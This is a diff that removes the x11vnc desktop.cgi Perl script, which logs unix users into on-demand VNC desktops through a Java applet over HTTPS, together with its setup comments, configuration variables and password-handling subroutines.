-# otherwise the unix and vnc passwords would be sent over the network
-# unencrypted (see below to disable if you really want to.)
-#
-# The Java VNC Viewer applet connections are encrypted by SSL as well.
-#
-# You can use this script to provide unix users desktops available on
-# demand via any Java enabled web browser. One could also use this for
-# a special-purpose 'single application' service running in a minimal
-# window manager.
-#
-# One example of a special-purpose application would be a scientific
-# data visualization tool running on a server where the data is housed.
-# To do this set $x11vnc_extra_opts = '-env FD_PROG=/path/to/app/launcher'
-# where the program launches your special purpose application. A very
-# simple example: '-env FD_PROG=/usr/bin/xclock'
-#
-#
-# Depending on where you place this script, the user accesses the service
-# with the URL:
-#
-# https://your.webserver.net/cgi-bin/desktop.cgi
-#
-# Then they login with their unix username and password to get their
-# own desktop session.
-#
-# If the user has an existing desktop it is connected to directly,
-# otherwise a new session is created inside an Xvfb display and then
-# connected to by VNC.
-#
-# It is possible to do port redirection to other machines running SSL
-# enabled VNC servers (see below.) This script does not start the VNC
-# servers on the other machines, although with some extra rigging you
-# should be able to do that as well.
-#
-# You can customize the login procedure to whatever you want by modifying
-# this script, or by using ideas in this script write your own PHP,
-# (for example), script.
-#
-##########################################################################
-# Overriding default settings:
-#
-# If you want to override any settings in this script and do not
-# want to edit this script create the assignments in a file named
-# 'desktop.cgi.conf' in the same directory as desktop.cgi. It will be
-# sourced after the defaults are set. The format of desktop.cgi.conf
-# is simply perl statements that make the assignments.
-#
-# For example, if you put something like this in desktop.cgi.conf:
-#
-# $x11vnc = '/usr/local/bin/x11vnc';
-#
-# that will set the path to the x11vnc binary to that location. Look at
-# the settings below for the other variables that you can modify, for
-# example one could set $allowed_users_file.
-#
-##########################################################################
-# x11vnc:
-#
-# You need to install x11vnc or otherwise have it available. It is
-# REQUIRED that you use x11vnc 0.9.10 or later. It won't work with
-# earlier versions. See below the $x11vnc parameter that you can set
-# to the full path to x11vnc.
-#
-##########################################################################
-# Xvfb:
-#
-# Note that the x11vnc -create virtual desktop service used below requires
-# that you install the 'Xvfb' program. On debian this is currently done
-# via 'apt-get install xvfb'.
-#
-# If you are having trouble getting 'x11vnc -create' to work with this
-# script (it can be tricky), try it manually and/or see the x11vnc FAQ
-# links below.
-#
-##########################################################################
-# Apache httpd:
-#
-# You should put this script in, say, a cgi-bin directory. Enable cgi
-# scripts in your apache (or other httpd) config. For example, we have
-# these lines (not commented):
-#
-# In httpd.conf:
-#
-# ScriptAlias /cgi-bin/ "/dist/apache/2.0/cgi-bin/"
-#
-# <Directory "/dist/apache/2.0/cgi-bin">
-# AllowOverride None
-# Options None
-# Order allow,deny
-# Allow from all
-# </Directory>
-#
-# and in ssl.conf:
-#
-# <Directory "/dist/apache/2.0/cgi-bin">
-# SSLOptions +StdEnvVars
-# </Directory>
-#
-# Do not be confused by the non-standard /dist/apache/2.0 apache
-# installation location that we happen to use. Yours will be different.
-#
-# You can test that you have CGI scripts working properly with the
-# 'test-cgi' and 'printenv' scripts apache provides.
-#
-# Copy this file (desktop.cgi) to /dist/apache/2.0/cgi-bin and then run
-# 'chmod 755 ...' on it to make it executable.
-#
-##########################################################################
-# Applet Jar files served by apache:
-#
-# You will *also* need to copy the x11vnc classes/ssl/UltraViewerSSL.jar
-# file to the httpd DocumentRoot to be accessible by: /UltraViewerSSL.jar
-# in a URL (or change $applet_jar below or the html in $applet_html if
-# you want to use a different location.)
-#
-# This location is relative to the apache DocumentRoot 'htdocs' directory.
-# For our (non-standard location installation) that meant we copied the
-# file to:
-#
-# /dist/apache/2.0/htdocs/UltraViewerSSL.jar
-#
-# (your DocumentRoot directory will be different.)
-#
-# The VncViewer.jar (tightvnc) will also work, but you need to change
-# the $applet_jar below. You can get these jar files from the x11vnc
-# tarball from:
-#
-# http://www.karlrunge.com/x11vnc/#downloading
-#
-# This script requires x11vnc 0.9.10 or later.
-#
-# Note that the usage mode for this script is a different from regular
-# 'x11vnc -http ...' usage where x11vnc acts as a mini web server and
-# serves its own applet jars. We don't use that mode for this script.
-# Apache (httpd) serves the jars.
-#
-#
-##########################################################################
-# Notes and Information:
-#
-# Each x11vnc server created for a user login will listen on its own port
-# (see below for port selection schemes.) Your firewall must let in *ALL*
-# of these ports (e.g. a port range, see below for the syntax.)
-#
-# It is also possible, although not as reliable, to do all of this through
-# a single port, see the fixed port scheme $find_free_port = 'fixed:5910'
-# below. This single port mode must be different from apache's port
-# (usually 443 for https) and must also be allowed in by your firewall.
-#
-# Note: The fixed port scheme is DISABLED by default.
-#
-# It is also possible to have this script act as a vnc redirector to SSL
-# enabled VNC servers running on *other* machines inside your firewall
-# (presumably the users' desktops) See the $enable_port_redirection
-# setting below. The user provides 'username@host:port' instead of just
-# 'username' when she logs in. This script doesn't start VNC servers
-# on those other machines, the servers must be running there already.
-# (If you want this script to start them you will need to add it
-# yourself.) It is possible to provide a host:port allow list to limit
-# which internal machines and ports can be redirected to. This is the
-# $port_redirection_allowed_hosts parameter.
-#
-# Note: The vnc redirector scheme is DISABLED by default.
-#
-# Note there are *two* SSL certificates involved that the user may be
-# asked to inspect: apache's SSL cert and x11vnc's SSL cert. This may
-# confuse naive users. You may want to use the same cert for both.
-#
-# This script provides one example on how to provide the service. You can
-# customize it to meet your needs, e.g. switch to php, newer cgi modules,
-# different authentication, SQL database for user authentication, etc,
-# etc. If you plan to use it in production, please examine all security
-# aspects of it carefully; read the comments in the script for more info.
-#
-# More information and background and troubleshooting:
-#
-# http://www.karlrunge.com/x11vnc/faq.html#faq-xvfb
-# http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-tunnel-viewers
-# http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-java-viewer-proxy
-# http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-portal
-# http://www.karlrunge.com/x11vnc/faq.html#faq-unix-passwords
-# http://www.karlrunge.com/x11vnc/faq.html#faq-userlogin
-#
-#
-# Please also read the comments below for changing specific settings.
-# You can modify them in this script or by override file 'desktop.cgi.conf'
-
-
-#-------------------------------------------------------------------------
-# Copyright (c) 2010 by Karl J. Runge <runge@karlrunge.com>
-#
-# desktop.cgi is free software; you can redistribute it and/or modify
-# it under the terms of the GNU General Public License as published by
-# the Free Software Foundation; either version 2 of the License, or (at
-# your option) any later version.
-#
-# desktop.cgi is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# You should have received a copy of the GNU General Public License
-# along with desktop.cgi; if not, write to the Free Software
-# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-# or see <http://www.gnu.org/licenses/>.
-#-------------------------------------------------------------------------
-
-use strict;
-use IO::Socket::INET;
-
-# Test for INET6 support:
-#
-my $have_inet6 = 0;
-eval "use IO::Socket::INET6;";
-$have_inet6 = 1 if $@ eq "";
-
-##########################################################################
-# Path to the x11vnc program:
-#
-my $x11vnc = '/usr/bin/x11vnc';
-
-
-##########################################################################
-# You can set some extra x11vnc cmdline options here:
-#
-my $x11vnc_extra_opts = '';
-
-
-##########################################################################
-# Override the default x11vnc viewer connection timeout of 75 seconds:
-#
-my $x11vnc_timeout = '';
-
-
-##########################################################################
-# TCP Ports:
-#
-# Set find_free_port to 1 (or the other modes described below) to
-# autoselect a free port to use. The default is to use a port based on
-# the userid number (7000 + uid).
-#
-my $find_free_port = 0;
-
-# Or specify a port range:
-#
-#$find_free_port = '7000-8000';
-#
-# Or indicate to use a kludge to try to do everything through a SINGLE
-# port. To try to avoid contention on the port, simultaneous instances
-# of this script attempt to 'take turns' using it the single port.
-#
-#$find_free_port = 'fixed:5910';
-
-# This is the starting port for 7000 + uid and also $find_free_port = 1
-# autoselection:
-#
-my $starting_port = 7000;
-
-# Listen on AF_INET6 if IO::Socket::INET6 is available.
-#
-my $listen_on_ipv6 = 0;
-
-
-##########################################################################
-# Port redirection mode:
-#
-# This is to enable port redirection mode: username@host:port. If
-# username is valid, there will be a port redirection to internal machine
-# host:port. Presumably there is already an SSL enabled and password
-# protected VNC server running there. We don't start that VNC server.
-# (You might be able to figure out a way to do this yourself.)
-#
-# See the next setting for an allowed hosts file. The default for port
-# redirection is off.
-#
-my $enable_port_redirection = 0;
-
-# A file with allowed port redirections. The empty string '' (the
-# default) means all host:port redirections would be allowed.
-#
-# Format of the file: A list of 'user@host:port' or 'host:port'
-# entries, one per line. Port ranges, e.g. host:n-m are also accepted.
-#
-# Leading and trailing whitespace is trimmed off each line. Blank lines
-# and comment lines starting with '#' are skipped. A line consisting of
-# 'ALL' matches everything. If no match can be found or the file cannot
-# be opened the connection is dropped.
-#
-my $port_redirection_allowed_hosts = '';
-
-
-##########################################################################
-# Allowed users:
-#
-# To limit which users can use this service, set the following to a file
-# that contains the allowed user names one per line. Lines starting with
-# the '#' character are skipped.
-#
-my $allowed_users_file = '';
-
-
-##########################################################################
-# Denied users:
-#
-# As with $allowed_users_file, but to deny certain users. Applied after
-# any $allowed_users_file check and overrides the result.
-#
-my $denied_users_file = '';
-
-
-##########################################################################
-# trustUrlVncCert applet parameter:
-#
-# Set to 0 to have the java applet html set the parameter
-# trustUrlVncCert=no, i.e. the applet will not automatically accept
-# an SSL cert already accepted by an HTTPS URL. See $applet_html and
-# print_applet_html() below for more info.
-#
-my $trustUrlVncCert = 1;
-
-
-##########################################################################
-# One-time VNC password fifo:
-#
-# For extra security against local untrusted users a fifo is used
-# to copy the one-time VNC password to the user's VNC password file
-# ~user/x11vnc.pw. If that fifo transfer technique causes problems,
-# you can set this value to 1 to disable the security feature:
-#
-my $disable_vnc_passwd_fifo_safety = 0;
-
-
-##########################################################################
-# Comment this out if you don't want PATH modified:
-#
-$ENV{PATH} = "/usr/bin:/bin:$ENV{PATH}";
-
-
-##########################################################################
-# For the next two settings, note that most users will be confused that
-# geometry and session are ignored when they are returning to their
-# existing desktop session (x11vnc FINDDISPLAY action.)
-
-
-##########################################################################
-# Used below if user did not specify preferred geometry and color depth:
-#
-my $default_geometry = '1024x768x24';
-
-
-# Set this to the list of x11vnc -create sessions types to show a session
-# dropdown for the user to select from.
-#
-my $session_types = '';
-#
-# example:
-#$session_types = 'gnome kde xfce lxde wmaker enlightenment mwm twm failsafe';
-
-
-##########################################################################
-# Set this to 1 to enable user setting a unique tag for each one
-# of his desktops and so can have multiple ones simultaneously and
-# select which one he wants. For now we just hack this onto geometry
-# 1024x768x24:my_2nd_desktop but ultimately there should be a form entry
-# for it. Search for enable_unique_tags for more info:
-#
-my $enable_unique_tags = 0;
-my $unique_tag = '';
-
-
-##########################################################################
-# String of HTML for the login form:
-#
-# Feel free to customize to your taste, _USERNAME_ and _GEOMETRY_ are
-# expanded to that of the request.
-#
-my $login_str = <<"END";
-<title>x11vnc web access</title>
-<h3>x11vnc web access</h3>
-<form action="$ENV{REQUEST_URI}" method="post">
- <table border="0">
- <tr><td colspan=2><h2>Login</h2></td></tr>
- <tr><td>Username:</td><td>
- <input type="text" name="username" maxlength="40" value="_USERNAME_">
- </td></tr>
- <tr><td>Password:</td><td>
- <input type="password" name="password" maxlength="50">
- </td></tr>
- <tr><td>Geometry:</td><td>
- <input type="text" name="geometry" maxlength="40" value="_GEOMETRY_">
- </td></tr>
- <!-- session -->
- <tr><td colspan="2" align="right">
- <input type="submit" name="submit" value="Login">
- </td></tr>
- </table>
-</form>
-END
-
-
-##########################################################################
-# String of HTML returned to web browser to launch applet:
-#
-# Feel free to customize to your taste, _UID_, _VNC_PORT_, _WIDTH_,
-# _HEIGHT_, _PASS_, _TRUST_UVC_, _APPLET_JAR_, and _APPLET_CLASS_ are
-# expanded to the appropriate values before sending out to the browser.
-#
-my $applet_html = <<"END";
-<html>
-<TITLE>
-x11vnc desktop (_UID_/_VNC_PORT_)
-</TITLE>
-<APPLET CODE=_APPLET_CLASS_ ARCHIVE=_APPLET_JAR_ WIDTH=_WIDTH_ HEIGHT=_HEIGHT_>
-<param name=PORT value=_VNC_PORT_>
-<param name=VNCSERVERPORT value=_VNC_PORT_>
-<param name=PASSWORD value=_PASS_>
-<param name=trustUrlVncCert value=_TRUST_UVC_>
-<param name="Open New Window" value=yes>
-<param name="Offer Relogin" value=no>
-<param name="ignoreMSLogonCheck" value=yes>
-<param name="delayAuthPanel" value=yes>
-<!-- extra -->
-</APPLET>
-<br>
-<a href="$ENV{REQUEST_URI}">Login page</a><br>
-<a href=http://www.karlrunge.com/x11vnc>x11vnc website</a>
-</html>
-END
-
-
-##########################################################################
-# These java applet strings are expanded into the above $applet_html.
-# Note that $applet_jar is relative to your apache DocumentRoot (htdocs)
-# not the filesystem root.
-#
-my $applet_jar = '/UltraViewerSSL.jar';
-my $applet_class = 'VncViewer.class';
-
-# These make the applet panel smaller because we use 'Open New Window'
-# anyway (set to 'W' or 'H' to use actual session geometry values):
-#
-my $applet_width = '400';
-my $applet_height = '300';
-
-# To customize ALL of the HTML printed out you may need to redefine
-# the bye() subtroutine in your desktop.cgi.conf file.
-
-
-##########################################################################
-# Override any of the above settings by setting them in a file named
-# 'desktop.cgi.conf'. It is sourced here.
-#
-# You can override any variable set above by supplying perl code
-# in $0.conf that sets it to the desired value.
-#
-# Some examples you could put in $0.conf:
-#
-# $x11vnc = '/usr/local/bin/x11vnc';
-# $x11vnc_extra_opts = '-env FD_PROG=/usr/bin/xclock';
-# $x11vnc_extra_opts = '-ssl /usr/local/etc/dtcgi.pem';
-# $find_free_port = 'fixed:5999';
-# $enable_port_redirection = 1;
-# $allowed_users_file = '/usr/local/etc/dtcgi.allowed';
-#
-if (-f "$0.conf") {
- eval `cat "$0.conf"`;
-}
-
-
-##########################################################################
-# END OF MAIN USER SETTINGS.
-# Only power users should change anything below.
-##########################################################################
-
-# Print http header reply:
-#
-print STDOUT "Content-Type: text/html\r\n\r\n";
-
-
-# Require HTTPS so that unix and vnc passwords are not sent in clear text
-# (perhaps it is too late...) Disable HTTPS here at your own risk.
-#
-if ($ENV{HTTPS} !~ /^on$/i) {
- bye("HTTPS must be used (to encrypt passwords)");
-}
-
-
-# Read URL request:
-#
-my $request;
-if ($ENV{'REQUEST_METHOD'} eq "POST") {
- read(STDIN, $request, $ENV{'CONTENT_LENGTH'});
-} elsif ($ENV{'REQUEST_METHOD'} eq "GET" ) {
- $request = $ENV{'QUERY_STRING'};
-} else {
- $request = $ARGV[0];
-}
-
-my %request = url_decode(split(/[&=]/, $request));
-
-
-# Experiment for FD_TAG x11vnc feature for multiple desktops for a
-# single user:
-#
-# we hide it in geometry:tag for now:
-#
-if ($enable_unique_tags && $request{geometry} =~ /^(.*):(\w+)$/) {
- $request{geometry} = $1;
- $unique_tag = $2;
-}
-
-# Check/set geometry and session:
-#
-if (!exists $request{geometry} || $request{geometry} !~ /^[x\d]+$/) {
- # default geometry and depth:
- $request{geometry} = $default_geometry;
-}
-if (!exists $request{session} || $request{session} =~ /^\s*$/) {
- $request{session} = '';
-}
-
-
-# Expand _USERNAME_ and _GEOMETRY_ in the login string HTML:
-#
-$login_str =~ s/_USERNAME_/$request{username}/g;
-$login_str =~ s/_GEOMETRY_/$request{geometry}/g;
-
-
-# Check x11vnc version for installers of this script who do not know
-# how to read and follow instructions:
-#
-my $version = (split(' ', `$x11vnc -version`))[1];
-$version =~ s/\D*$//;
-
-my ($major, $minor, $micro) = split(/\./, $version);
-if ($major !~ /^\d+$/ || $minor !~ /^\d+$/) {
- bye("The x11vnc program is not installed correctly.");
-}
-$micro = 0 unless $micro;
-my $level = $major * 100 * 100 + $minor * 100 + $micro;
-my $needed = 0 * 100 * 100 + 9 * 100 + 10;
-if ($level < $needed) {
- bye("x11vnc version 0.9.10 or later is required. (Found version $version)");
-}
-
-
-# Set up user selected desktop session list, if enabled:
-#
-my %sessions;
-
-if ($session_types ne '') {
- my $str = "<tr><td>Session:</td><td>\n<select name=session>";
- $str .= "<option value=none>select</option>";
-
- foreach my $sess (split(' ', $session_types)) {
- next if $sess =~ /^\s*$/;
- next if $sess !~ /^\w+$/; # alphanumeric
- $sessions{$sess} = 1;
- $str .= "<option value=$sess>$sess</option>";
- }
- $str .= "</select>\n</td></tr>";
-
- # This forces $request{session} to be a valid one:
- #
- if (! exists $sessions{$request{session}}) {
- $request{session} = 'none';
- }
-
- # Insert into login_str:
- #
- my $r = $request{session};
- $str =~ s/option value=\Q$r\E/option selected value=$r/;
- $login_str =~ s/<!-- session -->/$str/;
-}
-
-
-# If no username or password, show login form:
-#
-if (!$request{username} && !$request{password}) {
- bye($login_str);
-} elsif (!$request{username}) {
- bye("No Username.<p>$login_str");
-} elsif (!$request{password}) {
- bye("No Password.<p>$login_str");
-}
-
-
-# Some shorthand names:
-#
-my $username = $request{username};
-my $password = $request{password};
-my $geometry = $request{geometry};
-my $session = $request{session};
-
-
-# If port redirection is enabled, split username@host:port
-#
-my $redirect_host = '';
-my $current_fh1 = '';
-my $current_fh2 = '';
-
-if ($enable_port_redirection) {
- ($username, $redirect_host) = split(/@/, $username, 2);
- if ($redirect_host ne '') {
- # will exit if the redirection is not allowed:
- check_redirect_host();
- }
-}
-
-# If there is an $allowed_users_file, check username against it:
-#
-if ($allowed_users_file ne '') {
- if (! open(USERS, "<$allowed_users_file")) {
- bye("Internal Error #0");
- }
- my $ok = 0;
- while (<USERS>) {
- chomp;
- $_ =~ s/^\s*//;
- $_ =~ s/\s*$//;
- next if /^#/;
- if ($username eq $_) {
- $ok = 1;
- }
- }
- close USERS;
- if (! $ok) {
- bye("Denied Username.<p>$login_str");
- }
-}
-
-# If there is a $denied_users_file, check username against it:
-#
-if ($denied_users_file ne '') {
- if (! open(USERS, "<$denied_users_file")) {
- bye("Internal Error #0");
- }
- my $ok = 1;
- while (<USERS>) {
- chomp;
- $_ =~ s/^\s*//;
- $_ =~ s/\s*$//;
- next if /^#/;
- if ($username eq $_) {
- $ok = 0;
- }
- }
- close USERS;
- if (! $ok) {
- bye("Denied Username.<p>$login_str");
- }
-}
-
-# Require username to be alphanumeric + '-' + '_':
-# (one may want to add '.' as well)
-#
-if ($username !~ /^\w[-\w]*$/) {
- bye("Invalid Username.<p>$login_str");
-}
-
-
-# Get the userid number, we may use it as his VNC display port; this
-# also checks if the username exists:
-#
-my $uid = `/usr/bin/id -u '$username'`;
-chomp $uid;
-if ($? != 0 || $uid !~ /^\d+$/) {
- bye("Invalid Username.<p>$login_str");
-}
-
-
-# Use x11vnc trick to check if the unix password is valid:
-# (requires x11vnc 0.9.10 or later.)
-#
-if (!open(X11VNC, "| $x11vnc -unixpw \%stdin > /dev/null")) {
- bye("Internal Error #1");
-}
-print X11VNC "$username:$password\n";
-
-if (!close X11VNC) {
- # x11vnc returns non-zero for invalid username+password:
- bye("Invalid Password.<p>$login_str");
-}
-
-
-# Initialize random number generator for use below:
-#
-initialize_random();
-
-
-# Set vnc port:
-#
-my $vnc_port = 0;
-my $fixed_port = 0;
-
-if (! $find_free_port) {
- # Fixed port based on userid (we assume it is free):
- #
- $vnc_port = $starting_port + $uid;
-
-} elsif ($find_free_port =~ /^fixed:(\d+)$/) {
- #
- # Enable the -loopbg method that tries to share a single port:
- #
- $vnc_port = $1;
- $fixed_port = 1;
-} else {
- # Autoselect a port, either default range (7000-8000) or a user
- # supplied range. (note that $find_free_port will now contain
- # a socket listening on the found port so that it is held.)
- #
- $vnc_port = auto_select_port();
-}
-
-# Check for crazy port value:
-#
-if ($vnc_port > 64000 || $vnc_port < 1) {
- bye("Internal Error #2 $vnc_port");
-}
-
-
-# If port redirection is enabled and the user selected it via
-# username@host:port, we do that right now and then exit.
-#
-if ($enable_port_redirection && $redirect_host ne '') {
- port_redir();
- exit 0;
-}
-
-
-# Make a random, onetime vnc password:
-#
-my $pass = '';
-my $chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
-my @abc = split(//, $chars);
-
-for (my $i = 0; $i < 8; $i++) {
- $pass .= $abc[ rand(scalar(@abc)) ];
-}
-
-# Use x11vnc trick to switch to user and store vnc pass in the passwdfile.
-# Result is $pass is placed in user's $HOME/x11vnc.pw
-#
-# (This is actually difficult to do without untrusted LOCAL users being
-# able to see the pass as well, see copy_password_to_user() for details
-# on how we try to avoid this.)
-#
-copy_password_to_user($pass);
-
-
-# Make a tmp file for x11vnc launcher script:
-#
-my $tmpfile = `/bin/mktemp /tmp/desktop.cgi.XXXXXX`;
-chomp $tmpfile;
-
-# Check if the tmpfile is valid:
-#
-if (! -e $tmpfile || ! -o $tmpfile || -l $tmpfile) {
- unlink $tmpfile;
- bye("Internal Error #3");
-}
-if (!chmod 0644, $tmpfile) {
- unlink $tmpfile;
- bye("Internal Error #4");
-}
-if (!open(TMP, ">$tmpfile")) {
- unlink $tmpfile;
- bye("Internal Error #5");
-}
-
-
-# The x11vnc command. You adjust it to suit your needs.
-#
-# some ideas: -env FD_PROG=/usr/bin/gnome-session
-# -env FD_SESS=kde
-# -env FD_TAG=my_2nd_desktop
-# -ultrafilexfer
-#
-# Note that -timeout will cause it to exit if client does not connect
-# and -sslonly disables VeNCrypt SSL connections.
-
-# Some settings:
-# (change these if you encounter timing problems, etc.)
-#
-my $timeout = 75;
-my $extra = '';
-if ($fixed_port) {
- # settings for fixed port case:
- $timeout = 45;
- $extra .= " -loopbg100,1";
-}
-$timeout = $x11vnc_timeout if $x11vnc_timeout ne '';
-
-if ($session_types ne '') {
- # settings for session selection case:
- if (exists $sessions{$session}) {
- $extra .= " -env FD_SESS='$session'";
- }
-}
-if ($enable_unique_tags && $unique_tag ne '' && $unique_tag =~ /^\w+$/) {
- $extra .= " -env FD_TAG='$unique_tag'";
-}
-
-# This md5sum check of the vnc passwd is for extra safety (see
-# copy_password_to_user for details.)
-#
-my $md5sum = '';
-system("type md5sum > /dev/null");
-if ($? == 0) {
- my $md5 = `/bin/mktemp /tmp/desktop.cgi.XXXXXX`;
- chomp $md5;
- # compute md5sum of password:
- if (-o $md5 && open(MD5, "| md5sum > $md5")) {
- print MD5 "$pass\n";
- close MD5;
- if (open(MD5, "<$md5")) {
- # read it:
- my $line = <MD5>;
- close MD5;
- my ($s, $t) = split(' ', $line);
- if (length($s) >= 32 && $s =~ /^\w+$/) {
- # shell code for user to check he has correct passwd:
- $md5sum = "if md5sum \$HOME/x11vnc.pw | grep '$s' > /dev/null; then true; else exit 1; fi";
- }
- }
- }
- unlink $md5;
-}
-
-# Write x11vnc command to the tmp file:
-#
-print TMP <<"END";
-#!/bin/sh
-export PATH=/usr/bin:/bin:\$PATH
-$md5sum
-$x11vnc -sigpipe ignore:HUP -nopw -rfbport $vnc_port \\
- -passwdfile \$HOME/x11vnc.pw -oa \$HOME/x11vnc.log \\
- -create -ssl SAVE -sslonly -env FD_GEOM=$geometry \\
- -timeout $timeout $extra $x11vnc_extra_opts \\
- >/dev/null 2>/dev/null </dev/null &
-sleep 2
-exit 0
-END
-
-close TMP;
-
-# Now launch x11vnc to switch to user and run the wrapper script:
-# (this requires x11vnc 0.9.10 or later.)
-#
-$ENV{UNIXPW_CMD} = "/bin/sh $tmpfile";
-
-# For the fixed port scheme we try to cooperate via lock file:
-# (disabled by default.)
-#
-my $rmlock = '';
-#
-if ($fixed_port) {
- # try to grab the fixed port for the next 90 secs removing stale
- # locks older than 60 secs:
- #
- $rmlock = lock_fixed_port(90, 60);
-}
-
-# Start the x11vnc cmd:
-#
-if (!open(X11VNC, "| $x11vnc -unixpw \%stdin > /dev/null")) {
- unlink $tmpfile;
- unlink $rmlock if $rmlock;
- bye("Internal Error #6");
-}
-
-select(X11VNC); $| = 1; select(STDOUT);
-
-# Close any port we held. There is still a gap of time between now
-# and when when x11vnc in $tmpfile reopens the port after the password
-# authentication. So another instance of this script could accidentally
-# think it is free...
-#
-sleep 1;
-close $find_free_port if $find_free_port;
-
-print X11VNC "$username:$password\n";
-close X11VNC; # note we ignore return value.
-unlink $tmpfile;
-
-if ($rmlock) {
- # let our x11vnc proceed a bit before removing lock.
- sleep 2;
- unlink $rmlock;
-}
-
-# Return html for the java applet to connect to x11vnc.
-#
-print_applet_html();
-
-exit 0;
-
-#################################################################
-# Subroutines:
-
-# print the message to client and exit with success.
-#
-sub bye {
- my $msg = shift;
- print STDOUT "<html>$msg</html>\n";
- exit 0;
-}
-
-# decode %xx to character:
-#
-sub url_decode {
- foreach (@_) {
- tr/+/ /;
- s/%(..)/pack("c",hex($1))/ge;
- }
- @_;
-}
-
-# seed random
-#
-sub initialize_random {
- my $rbytes = '';
- if (open(RAN, "</dev/urandom")) {
- read(RAN, $rbytes, 8);
- } elsif (open(RAN, "</dev/random")) {
- read(RAN, $rbytes, 8);
- } else {
- $rbytes = sprintf("%08d", $$);
- }
- close RAN;
-
- # set seed:
- #
- my $seed = join('', unpack("C8", $rbytes));
- $seed = substr($seed, -9);
- srand($seed);
-
- for (my $i = 0; $i < ($$ % 4096); $i++) {
- # Mix it up even a little bit more. There should be
- # over 1 billion possible vnc passwords now.
- rand();
- }
-}
-
-# Autoselect a port for vnc. Note that a socket for the found port
-# is kept open (and stored in $find_free_port) until we call x11vnc at
-# the end.
-#
-sub auto_select_port {
- my $pmin = $starting_port; # default range 7000-8000.
- my $pmax = $starting_port + 1000;
-
- if ($find_free_port =~ /^(\d+)-(\d+)$/) {
- # user supplied a range:
- $pmin = $1;
- $pmax = $2;
- if ($pmin > $pmax) {
- ($pmin, $pmax) = ($pmax, $pmin);
- }
- } elsif ($find_free_port > 1024) {
- # user supplied a starting port:
- $pmin = $find_free_port;
- $pmax = $pmin + 1000;
- }
-
- # Try to add a bit of randomness to the starting port so
- # simultaneous instances of this script won't be fooled by the gap
- # of time before x11vnc reopens the port (see near the bottom.)
- #
- my $dp = int(rand(1.0) * 0.25 * ($pmax - $pmin));
- if ($pmin + $dp < $pmax - 20) {
- $pmin = $pmin + $dp;
- }
-
- my $port = 0;
-
- # Now try to find a free one:
- #
- for (my $p = $pmin; $p <= $pmax; $p++) {
- my $sock = '';
- if ($have_inet6 && $listen_on_ipv6) {
- eval {$sock = IO::Socket::INET6->new(
- Listen => 1,
- LocalPort => $p,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::",
- Proto => "tcp"
- );};
- } else {
- $sock = IO::Socket::INET->new(
- Listen => 1,
- LocalPort => $p,
- ReuseAddr => 1,
- Proto => "tcp"
- );
- }
- if ($sock) {
- # we will keep this open until we call x11vnc:
- $find_free_port = $sock;
- $port = $p;
- last;
- }
- }
- return $port;
-}
-
-# Since apache typically runs as user 'apache', 'nobody', etc, and not
-# as root it is tricky for us to copy the pass string to a file owned by
-# the user without some other untrusted local user being able to learn
-# the password (e.g. via reading a file or watching ps.) Note that with
-# the x11vnc -unixpw trick we unfortunately can't use a pipe because
-# the user command is run in its own tty.
-#
-# The best way would be a sudo action or a special setuid program for
-# copying. So consider doing that and thereby simplify this function.
-#
-# Short of a special program doing this, we use a fifo so ONLY ONE
-# process can read the password. If the untrusted local user reads it,
-# then the logging-in user's x11vnc won't get it. The login and x11vnc
-# will fail, but the untrusted user won't gain access to the logging-in
-# user's desktop.
-#
-# So here we start long, tedious work carefully managing the fifo.
-#
-sub copy_password_to_user {
-
- my $pass = shift;
-
- my $use_fifo = '';
-
- # Find a command to make a fifo:
- #
- system("type mkfifo > /dev/null");
- if ($? == 0) {
- $use_fifo = 'mkfifo %s';
- } else {
- system("type mknod > /dev/null");
- if ($? == 0) {
- $use_fifo = 'mknod %s p';
- }
- }
-
- # Create the filename for our fifo:
- #
- my $fifo = `/bin/mktemp /tmp/desktop.cgi.XXXXXX`;
- chomp $fifo;
-
- if (! -e $fifo || ! -o $fifo || -l $fifo) {
- unlink $fifo;
- bye("Internal Error #7");
- }
-
- # disable fifo safety if requested:
- #
- if ($disable_vnc_passwd_fifo_safety) {
- $use_fifo = '';
- }
-
- # Make the fifo:
- #
- if ($use_fifo) {
- $use_fifo = sprintf($use_fifo, $fifo);
-
- # there is a small race here:
- system("umask 077; rm -f $fifo; $use_fifo; chmod 600 $fifo");
-
- if (!chmod 0600, $fifo) {
- # we chmod once more..
- unlink $fifo;
- bye("Internal Error #8");
- }
-
- if (! -o $fifo || ! -p $fifo || -l $fifo) {
- # but we get out if not owned by us anymore:
- unlink $fifo;
- bye("Internal Error #9");
- }
- }
-
- # Build cmd for user to read our fifo:
- #
- my $upw = '$HOME/x11vnc.pw';
- $ENV{UNIXPW_CMD} = "touch $upw; chmod 600 $upw; cat $fifo > $upw";
-
- # Start it:
- #
- if (!open(X11VNC, "| $x11vnc -unixpw \%stdin > /dev/null")) {
- unlink $fifo;
- bye("Internal Error #10");
- }
- select(X11VNC); $| = 1; select(STDOUT);
-
- if (! $use_fifo) {
- # regular file, we need to write it now.
- if (!open(FIFO, ">$fifo")) {
- close X11VNC;
- unlink $fifo;
- bye("Internal Error #11");
- }
- print FIFO "$pass\n";
- close FIFO;
- }
-
- # open fifo up for reading.
- # (this means the bad guy can read it too.)
- #
- if (!chmod 0644, $fifo) {
- unlink $fifo;
- bye("Internal Error #12");
- }
-
- # send the user's passwd now:
- #
- print X11VNC "$username:$password\n";
-
- if ($use_fifo) {
- # wait a bit for the cat $fifo to start, reader will block.
- sleep 1;
- if (!open(FIFO, ">$fifo")) {
- close X11VNC;
- unlink $fifo;
- bye("Internal Error #13");
- }
- # here it goes:
- print FIFO "$pass\n";
- close FIFO;
- }
- close X11VNC; # note we ignore return value.
- fsleep(0.5);
- unlink $fifo;
-
- # Done!
-}
-
-# For fixed, single port mode. Try to open and lock the port before
-# proceeding.
-#
-sub lock_fixed_port {
- my ($t_max, $t_age) = @_;
-
- # lock file name:
- #
- my $lock = '/tmp/desktop.cgi.lock';
- my $remove = '';
-
- my $t = 0;
- my $sock = '';
-
- while ($t < $t_max) {
- if (-e $lock) {
- # clean out stale locks if possible:
